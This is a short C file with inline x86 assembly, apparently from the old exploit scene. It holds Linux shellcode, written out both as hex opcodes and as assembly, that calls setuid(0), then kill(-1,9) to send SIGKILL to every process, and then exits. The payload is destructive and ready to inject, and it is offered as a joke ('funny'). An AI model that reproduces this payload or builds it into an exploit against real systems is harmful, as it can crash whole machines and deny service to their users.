/*
kokanin@dtors making funny x86 linux shellcode
setuid(0);kill(-1,9);exit(0)
read man 2 kill if in doubt.
0x31    0xdb    0xb0    0x17    0xcd    0x80    0x31    0xdb
0x4b    0x31    0xc9    0x83    0xc1    0x09    0xb0    0x25
0xcd    0x80    0x31    0xdb    0xb0    0x01    0xcd    0x80
*/
main()
{
        __asm__("
                //setuid(0)
                xorl %ebx, %ebx
                movb $0x17, %al
                int $0x80
                //kill(-1,9)
                xor %ebx, %ebx
                dec %ebx
                xor %ecx, %ecx
                add $0x9, %ecx
                movb $0x25, %al
                int $0x80
                //exit(0)
                xorl %ebx, %ebx
                movb $0x1, %al
                int $0x80
        ");


}
